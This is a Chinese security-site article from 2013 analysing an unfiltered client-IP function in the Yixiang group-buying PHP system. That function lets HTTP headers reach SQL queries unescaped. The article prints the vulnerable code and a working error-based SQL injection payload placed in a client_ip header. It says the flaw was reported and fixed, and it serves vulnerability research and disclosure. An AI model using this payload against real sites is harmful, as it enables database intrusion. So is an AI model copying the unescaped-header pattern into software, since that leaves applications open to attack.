freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

易想团购系统通杀SQL注入漏洞分析及利用
2013-04-10 09:38:06

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

刚打开红黑看到基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序。

找到get_client_ip()函数:

// 获取客户端IP地址
function get_client_ip(){
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
       $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
       $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
       $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
       $ip = $_SERVER['REMOTE_ADDR'];
   else
       $ip = "unknown";
   return($ip);
}

果然没过滤,看了下很多地方用到这个函数。

比如:

if($_REQUEST['act'] == 'verify')
{
	$id = intval($_REQUEST['id']);
	$user_info  = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."user where id = ".$id);
	if(!$user_info)
	{
		showErr($GLOBALS['lang']['NO_THIS_USER']);
	}
	$verify = $_REQUEST['code'];
	if($user_info['verify'] == $verify)
	{
		//成功
		$_SESSION['user_info'] = $user_info;
		$GLOBALS['db']->query("update ".DB_PREFIX."user set login_ip = '".get_client_ip()."',login_time= ".get_gmtime().",verify = '',is_effect = 1 where id =".$user_info['id']);
		$GLOBALS['db']->query("update ".DB_PREFIX."mail_list set is_effect = 1 where mail_address ='".$user_info['email']."'");	
		$GLOBALS['db']->query("update ".DB_PREFIX."mobile_list set is_effect = 1 where mobile ='".$user_info['mobile']."'");								
		showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT."/");
}

团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数。

果断的,登陆的时候在http头里面加了个client_ip,值为127′

看图:

报错注入,很简单吧,

exp:

火狐插件增加client_ip头部,对应值为

‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#

这套程序用的thinkphp的框架,回头看看有没有代码执行。

感谢Seay投递

本文作者:, 转载请注明来自FreeBuf.COM

# 漏洞 # 漏洞挖掘 # 漏洞分析 # 安全文章 # 易想团购
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑